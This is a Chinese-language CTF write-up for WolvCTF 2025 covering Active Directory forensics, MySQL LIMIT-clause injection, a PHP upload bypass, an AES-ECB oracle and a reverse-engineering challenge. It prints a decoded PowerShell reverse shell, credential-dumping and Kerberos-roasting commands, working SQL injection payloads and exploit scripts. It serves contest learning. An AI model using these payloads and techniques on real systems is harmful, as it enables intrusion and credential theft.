WolvCTF 2025 Write Up

Before all

Team: QnQSec
Rank: 9
這周末看到隊上在打就跳下去玩惹,然後就變成 Forensics 手了
整體 infra 不錯,可惜 Web/Crypto 部分沒什麼能大發揮的 QwQ

Forensics

Active 1: Domain Access

這一系列題目是給一包被打下的 Domain 的 User 資料夾做 Forensics
第一部分要求我找到進入內網的整個過程, Flag 被拆成三段(?蛤
找到了一個/Public/Documents/winPEASOutput.txt

首先是 dan 的 password leak,default name hex 解碼是 flag 第三段:

1
2
3
4
5
6
T%P%P%P%P%P%P%P%P%P%P%c% Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : WOLVCTF
DefaultUserName : WOLVCTF\Dan
DefaultPassword : DansSuperCoolPassw0rd!!
AltDefaultUserName : loot-in-hex:656e61626c335f347574306c6f67306e5f306b3f3f213f7d

=> enabl3_4ut0log0n_0k??!?}

再來是 process 中隱藏的 base64 decode 有 flag:

1
2
3
4
5
=================================================================================================                                                       

powershell(8532)[C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe] -- POwn: MSSQL$SQLEXPRESS
Command Line: powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEAOAA3AC4AMQAyADgAIgAsADEANAAzADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAZQBuAGMAbwBkAGUAZABfAGYAbABhAGcAcAB0ADIAIAA9ACAAIgBYADMAaABRAFgAMgBOAHQAWgBIAE4AbwBNAHoARQB4AFgAMwBjAHgAZABHAGgAZgBaAEQATgBtAFkAWABWAHMAZABGADkAagBjAGoATgBrAGMAMQA4AHcAYwBsADgAPQBzACIAOwAkAGYAbABhAGcAcAB0ADIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZQBuAGMAbwBkAGUAZABfAGYAbABhAGcAcAB0ADIAKQApADsAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAkAGYAbABhAGcAcAB0ADIAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
=================================================================================================

=>

1
$client = New-Object System.Net.Sockets.TCPClient("192.168.187.128",1433);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$encoded_flagpt2 = "X3hQX2NtZHNoMzExX3cxdGhfZDNmYXVsdF9jcjNkc18wcl8=s";$flagpt2 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded_flagpt2));Write-Output $flagpt2;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

=>

1
_xP_cmdsh311_w1th_d3fault_cr3ds_0r_

最後,尋找進入點:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
T%P%P%P%P%P%P%P%P%P%P%c% User Environment Variables
Z% Check for some passwords or keys in the env variables
COMPUTERNAME: DC01
PUBLIC: C:\Users\Public
LOCALAPPDATA: C:\Windows\ServiceProfiles\MSSQL$SQLEXPRESS\AppData\Local
PSModulePath: C:\Windows\ServiceProfiles\MSSQL$SQLEXPRESS\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\Microsoft SQL Server\130\Tools\PowerShell\Modules\
PROCESSOR_ARCHITECTURE: AMD64
Path: C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\mssql_service\Client SDK\ODBC\130\Tools\Binn\;C:\Program Files (x86)\Microsoft SQL Server\130\Tools\Binn\;C:\Users\mssql_service\130\Tools\Binn\;C:\Users\mssql_service\130\DTS\Binn\;C:\Program Files (x86)\Microsoft SQL Server\150\DTS\Binn\;C:\Windows\ServiceProfiles\MSSQL$SQLEXPRESS\AppData\Local\Microsoft\WindowsApps
CommonProgramFiles(x86): C:\Program Files (x86)\Common Files
ProgramFiles(x86): C:\Program Files (x86)
PROCESSOR_LEVEL: 6
ProgramFiles: C:\Program Files
PATHEXT: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
USERPROFILE: C:\Windows\ServiceProfiles\MSSQL$SQLEXPRESS
SystemRoot: C:\Windows
ALLUSERSPROFILE: C:\ProgramData

當前 User 是 mssql,其實看一下 log 會發現被 SQLi 開 xp_cmdshell,去他的資料夾翻一下會在 Log 看到檔案一堆檔案,用log_7.trc 觀察
密碼潑灑的過程組成的字串就是 Flag
image

組起來就行 w

Active 2: Lateral Movement

接下來是尋找後滲透足跡:
先讀 Powershell History:
/dan/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt

1
2
3
4
5
6
7
8
9
10
11
cd Desktop
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\dan\Documents -OutputPrefix "wolvctf_audit"
powershell -ep bypass
.\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\dan\Documents -OutputPrefix "wolvctf_audit"
Import-Module \SharpHound.ps1
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\dan\Documents -OutputPrefix "wolvctf_audit"
.\Rubeus.exe asreproast /user:emily /domain:wolvctf.corp /dc:DC01.wolvctf.corp > asreproast.output
.\Rubeus.exe kerberoast > kerberoast.output
runas /User:wolvctf\emily cmd`

是在對 emily 做 AS-REP Roasting,在 asreproast.output 拿到 golden ticket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
��
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.2.0


[*] Action: AS-REP roasting

[*] Target User : emily
[*] Target Domain : wolvctf.corp
[*] Target DC : DC01.wolvctf.corp

[*] Using domain controller: DC01.wolvctf.corp (fe80::af8f:bc46:1257:36be%5)
[*] Building AS-REQ (w/o preauth) for: 'wolvctf.corp\emily'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

[email protected]:34C3460101DA5A3081FA4F6518A0ECE1$619944A029EF908C7
8A80E2559C06788E2D86AEB1C94CD97E4540E5EA57C550C7FBD768D6EA24DBC66CFC6B8A9E39C364
39CA4B50DCF29F3C078785F876835B239B3628F561D080F83294C9A3BC8D1C4DEC538A15339257DC
AAB20F33EE168BDEA0671C4AB92DA6B089D7700E7BE42564706BFA903654EDF11376C1994BBE6B9C
C65E53275EF3148B638AA5A52284E29912C3CA2171FD50FBD6929511416B51F8C4F8CB9383DA74E8
DB3B0493A2654093C44BC399695525DD90E271A90C9992024A1D05E4188EC588663D2D849142AED6
5C5B77C38ED3DC7BB65178A565248F199B5DC2D382D2DA016DAD023

[*_*] d2N0Znthc3IzcHIwNHN0M2Q/Xw==

扔進 john 爆破拿到密碼 youdontknowmypasswordhaha
然後底下的 base64 是第一段 flag,我那時候找好久最後還是隊友提醒我的
再來是 emily 的 PSHistory:

1
2
3
4
5
6
7
8
9
10
11
12
13
cd C:\Users\emily
tree /f /a > tree.txt
type tree.txt
cd Documents
dir
type README
echo "James asked me to keep his password secret, so I made sure to take extra precautions." >> C:\Users\Public\loot.txt
echo "Note to self: Password for the zip is same as mine, with 777 at the end" >> C:\Users\Public\loot.txt
del README
cp .\important.7z C:\Users\Public
del C:\Users\Public\loot.txt
del C:\Users\Public\important.7z
runas /User:wolvctf\james cmd

拿到 important.7z,解壓縮後拿到三張圖片其中一張 foremost 出來就是 Flag,另外他也登入了 James 帳號。
image
James 的 History 裡直接就是 Flag

1
2
3
4
5
6
7
8
9
10
cd C:\Users\Public\Documents
mv .\PowerView.txt .\PowerView.ps1
powershell -ep bypass
Import-Module .\PowerView.ps1
Find-DomainProcess
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force`
Set-DomainUserPassword -Identity 'emily' -AccountPassword $NewPassword
$NewPassword = ConvertTo-SecureString 'd0nt_us3_4ll3xtendedr1ghts}' -AsPlainText -Force`
Set-DomainUserPassword -Identity 'patrick' -AccountPassword $NewPassword
runas /User:wolvctf\patrick cmd

Active 3: Domain Admin

要拿到 Admin 密碼,在/jake/Downloads裡拿到 ntds.ditsystem.hive,先用 impacket-secretsdump 炸密碼:

1
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL

後面則是在一開始被進入的 dan 的資料夾下找到攻擊者留下的 bloodhound 紀錄,在 Domain Admin role 下有這段敘述:

1
Members who are part of this group have passwords w then a c then a t and an f, curly bracket left, 'bloodhound_is_cool_' (but all the 'o's are '0's), then a city in all lowercase appended by 3 numbers (secret only you know),  right curly bracket"

去網路上拔一個世界城市的 csv 檔生字典檔作字典攻擊

1
2
3
4
5
6
7
8
9
10
11
import csv

with open('cities.csv', newline='', encoding='utf-8') as csvfile:
reader = csv.reader(csvfile)

city_names = [row[0].lower() for row in reader]
print('votuporanga' in city_names)

for city in city_names:
for i in range(1000):
print(f"wctf{{bl00dh0und_is_c00l_{city}{i:03d}}}")

輸出到 passlist.txt,最後 hashcat

1
hashcat hash passlist.txt

收工 XD,結果這題值 499 分(驚

Web

Limited 1

DB 是 MYSQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
@app.route('/query')
def query():
try:
price = float(request.args.get('price') or '0.00')
except:
price = 0.0

price_op = str(request.args.get('price_op') or '>')
if not re.match(r' ?(=|<|<=|<>|>=|>) ?', price_op):
return 'price_op must be one of =, <, <=, <>, >=, or > (with an optional space on either side)', 400

# allow for at most one space on either side
if len(price_op) > 4:
return 'price_op too long', 400

# I'm pretty sure the LIMIT clause cannot be used for an injection
# with MySQL 9.x
#
# This attack works in v5.5 but not later versions
# https://lightless.me/archives/111.html
limit = str(request.args.get('limit') or '1')

query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
print('query:', query)

if ';' in query:
return 'Sorry, multiple statements are not allowed', 400

try:
cur = mysql.connection.cursor()
cur.execute(query)
records = cur.fetchall()
column_names = [desc[0] for desc in cur.description]
cur.close()
except Exception as e:
return str(e), 400

result = [dict(zip(column_names, row)) for row in records]
return jsonify(result)

擷取重點段,一個 sqli 但是在 LIMIT 那邊才是 FREE (?)
仔細觀察會發現 price_op 還是可以塞髒東西,我這邊是用 /* 並且在 LIMIT 後面接上 */ 去前後呼應把東西都註解掉,轉成裸 UNION BASE SQLI
第一把 flag 是要讀註解內容所以要去讀當前 process 的 connect info:

1
/query?price=10.00&price_op=< /*&limit=*/ 0 UNION SELECT 1, (SELECT info FROM information_schema.processlist WHERE id = CONNECTION_ID()), 3, 4

Limited 2

information_schema 路讀 db 裡的 flag:

1
2
3
/query?price=10.00&price_op=< /*&limit=*/ 1 UNION SELECT 1, 1, 1, GROUP_CONCAT(0x7c,table_name,0x7C) FROM information_schema.tables WHERE table_schema='ctf'
/query?price=10.00&price_op=< /*&limit=*/ 1 UNION SELECT 1, 1, 1, GROUP_CONCAT(0x7c,schema_name,0x7c) FROM information_schema.schemata
/query?price=10.00&price_op=< /*&limit=*/ 1 UNION SELECT 1, 1, 1, value FROM Flag_843423739

Limited 3

要拿到 db user 裡面 flag 的密碼
Based on https://hashcat.net/wiki/doku.php?id=example_hashes

1
SELECT user, CONCAT('$mysql', SUBSTR(authentication_string,1,3), LPAD(CONV(SUBSTR(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';

Art Contest

重點段,用 strrpos 提取附檔名後 chmod 000,有種 x3CTF 看過的味道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

if (isset($_FILES['fileToUpload'])) {
$target_file = basename($_FILES["fileToUpload"]["name"]);
$session_id = session_id();
$target_dir = "/var/www/html/uploads/$session_id/";
$target_file_path = $target_dir . $target_file;
$uploadOk = 1;
$lastDotPosition = strrpos($target_file, '.');

// Check if file already exists
if (file_exists($target_file_path)) {
echo "Sorry, file already exists.\n";
$uploadOk = 0;
}

// Check file size
if ($_FILES["fileToUpload"]["size"] > 50000) {
echo "Sorry, your file is too large.\n";
$uploadOk = 0;
}

// If the file contains no dot, evaluate just the filename
if ($lastDotPosition == false) {
$filename = substr($target_file, 0, $lastDotPosition);
$extension = '';
} else {
$filename = substr($target_file, 0, $lastDotPosition);
$extension = substr($target_file, $lastDotPosition + 1);
}
echo "<h1>".$filename."<br>".$extension."</h1>";

// Ensure that the extension is a txt file
if ($extension !== '' && $extension !== 'txt') {
echo "Sorry, only .txt extensions are allowed.\n";
$uploadOk = 0;
}

if (!(preg_match('/^[a-f0-9]{32}$/', $session_id))) {
echo "Sorry, that is not a valid session ID.\n";
$uploadOk = 0;
}

// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.\n";
} else {
// If everything is ok, try to upload the file
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file_path)) {
echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}

$old_path = getcwd();
chdir($target_dir);
// make unreadable - the proper way
shell_exec('chmod -- 000 *');
chdir($old_path);
}
?>

簡單來說漏洞出在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ($lastDotPosition == false) {
$filename = substr($target_file, 0, $lastDotPosition);
$extension = '';
} else {
$filename = substr($target_file, 0, $lastDotPosition);
$extension = substr($target_file, $lastDotPosition + 1);
}
echo "<h1>".$filename."<br>".$extension."</h1>";

// Ensure that the extension is a txt file
if ($extension !== '' && $extension !== 'txt') {
echo "Sorry, only .txt extensions are allowed.\n";
$uploadOk = 0;
}

如果今天上傳一個檔名就叫做 .php,那跑出來的 $lastDotPosition 會是 0,導致比對 false 的時候成立
同時 * 不會去匹配 linux 下的隱藏檔案(開頭是點),自動繞過ㄌ

image
剩下就是到自己的 session 名稱的 upload directory get shell 即可

Crypto

ECB++

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/local/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import random

f = open('./flag.txt','r')
flag = f.read()

def encrypt(message):
global flag
message = message.encode()
message += flag.encode()
key = random.getrandbits(256)
key = key.to_bytes(32,'little')
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(message, AES.block_size))
return(ciphertext.hex())

print("Welcome to my secure encryption machine!")
print("I'll encrypt all your messages (and add a little surprise at the end)")

while(True):
print("Do you have a message to encrypt? [Y|N]")
response = input()
if(response == 'Y'):
print("Gimme your message:")
message = input()
print("Your message is: ",encrypt(message))
else:
exit(0)

蠻明顯是要 Prepend Oracle,但因為每次 key 不一樣要改良打法變成:'A'*31+'猜的字元'+'A'*31去 LEAK 值
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import string
from pwn import *
from tqdm import trange, tqdm

r = remote('ecbpp.kctf-453514-codelab.kctf.cloud', 1337)

def oracle(m):
r.sendline(b'Y')
r.sendline(m)
r.recvuntil(b'Your message is: ')
msg = r.recvuntil(b'\n')[1:-1]
#print(msg)
return bytes.fromhex(msg.decode())

flag = b''
while True:
i=len(flag)
for c in tqdm(string.printable):
prefix = b'A' * (96 - 1 - i)+flag+bytes([ord(c)])
prefix += b'A' * (96 - 1 - i)
#print(prefix)
result=oracle(prefix)
if result[:96]==result[96:96*2]:
flag+=bytes([ord(c)])
print(i, flag)
break

r.interactive()

Reverse

Office

直接扔 IDA,一道服務的 reverse 題目
睡前發現沒人打爬起來荼毒自己

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char s[3]; // [rsp+1h] [rbp-Fh] BYREF
unsigned int v4; // [rsp+4h] [rbp-Ch]
FILE *stream; // [rsp+8h] [rbp-8h]

sub_40149A();
stream = fopen("/dev/urandom", "r");
if ( !stream )
{
puts("Cannot open /dev/urandom");
exit(1);
}
fread(&byte_4040A9, 1uLL, 1uLL, stream);
fclose(stream);
urandom_byte = byte_4040A9;
while ( 1 )
{
do
{
sub_4012E1();
fgets(s, 3, stdin);
*__errno_location() = 0;
v4 = strtol(s, 0LL, 10);
}
while ( *__errno_location() );
if ( v4 == 3 )
sub_4013E3();
if ( (int)v4 > 3 )
break;
if ( v4 == 1 )
{
sub_4011C6();
}
else
{
if ( v4 != 2 )
break;
raise();
}
LABEL_14:
if ( balence_default_1337 <= 0 )
{
puts("You can't even spend money and yet you lost it all. You're fired.");
exit(0);
}
}
printf("choice: %d\n", v4);
goto LABEL_14;
}

選單題,1 是賺錢 2是改薪水 3是退出+檢查值拿 Flag,另外剛開始會 sleep 就是避免爆破
先來看 3 的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __noreturn sub_4013E3()
{
char ptr[56]; // [rsp+0h] [rbp-40h] BYREF
FILE *stream; // [rsp+38h] [rbp-8h]

if ( 257 * (unsigned __int8)byte_4040A9 == balence_default_1337 )
{
stream = fopen("./flag.txt", "r");
if ( !stream )
{
printf("Cannot open ./flag.txt");
exit(1);
}
fread(ptr, 0x20uLL, 1uLL, stream);
ptr[32] = 0;
puts("You were actually nice to have around");
puts("Here, take this parting gift:");
puts(ptr);
exit(0);
}
puts("Good riddance");
exit(0);
}

如果 257*一開始的urandom值 = 我最後的錢就給我 flag,我能改薪水所以理論上,只要拿到 urandom 值就結束了

再來是最重要的 function 1:
他對一個初始化時跟一開始的 urandom 的值一樣的變數進行了 side channel leak 和 xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 sub_4011C6()
{
__int64 result; // rax

if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_404088) != 0 )
puts("You forget to put the cover sheet on your TPS report");
if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_404089) != 0 )
puts("You have a meeting with a consultant");
if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_40408A) != 0 )
puts("The printer jams");
if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_40408B) != 0 )
puts("Your boss tells you that you have to come in on Saturday");
if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_40408C) != 0 )
puts("The fire alarm goes off");
if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_40408D) != 0 )
puts("Your cowworker asks if you have seen his stapler");
if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_40408E) != 0 )
puts("You think about quitting");
printf("Time to clock out. You made $%d today\n", (unsigned int)earn);
balence_default_1337 += earn;
result = balence_default_1337 ^ (unsigned int)(unsigned __int8)urandom_byte;
urandom_byte ^= balence_default_1337;
return result;
}

可以從交錯的判斷條件拿到當前的數字可能是什麼,剩下就是不斷追蹤每一種可能,直到過濾到剩一種就能推原本的urandomㄌ,有很大的機率會篩不出來所以我刮刮樂了一陣子,其實應該要能透過調整薪水的值去構造某種類 oracle 但我決定多跑幾次w
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
r=remote('office.kctf-453514-codelab.kctf.cloud', 1337)
masks=[10, 22, 24, 40, 168, 96, 1]
sentences=[
"You forget to put the cover sheet on your TPS report",
"You have a meeting with a consultant",
"The printer jams",
"Your boss tells you that you have to come in on Saturday",
"The fire alarm goes off",
"Your cowworker asks if you have seen his stapler",
"You think about quitting"
]

origin_byte=0
possible=[x for x in range(256)]
xored_possible={}

for i in possible:
xored_possible[i]=i

def test(x):
can=[]
for i in range(256):
yes=True
for j in range(7):
if i&masks[j]!=0 and x[j]==0:
yes=False
elif i&masks[j]==0 and x[j]!=0:
yes=False
if yes==True:
can.append(i)

return can


def check(state):
cur=[0]*7
for i in range(7):
if sentences[i].encode() in state:
cur[i]=1
print(cur)
return test(cur)

cur_value=1337
import time
while len(possible)!=1:
if len(possible)==0:
exit(f'WTF {cur_value}')
r.sendline(b'1')
cur_value+=10
state=r.recvuntil(b'Time to clock out. You made $10 today')
for i in check(state):
for j in possible:
if xored_possible[j] not in check(state):
possible.remove(j)
else:
xored_possible[j]=(xored_possible[j]^cur_value)%256
print(possible, r.recv())


r.sendline(b'2')
r.sendline(str(257*possible[0]-cur_value).encode())
r.sendline(b'1')
#r.recv()

r.sendline(b'3')
r.interactive()

image